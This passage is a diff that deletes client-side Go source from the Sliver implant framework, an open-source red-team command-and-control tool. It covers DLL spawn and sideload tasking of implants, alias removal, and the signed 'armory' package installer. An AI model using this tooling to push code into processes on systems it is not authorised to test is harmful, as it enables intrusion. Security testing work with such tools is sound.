con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,488 +0,0 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
type ArmoryHTTPConfig struct {
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
package armory
|
||||
@@ -1,284 +0,0 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name {
|
||||
installAlias(alias, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name {
|
||||
installExtension(ext, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
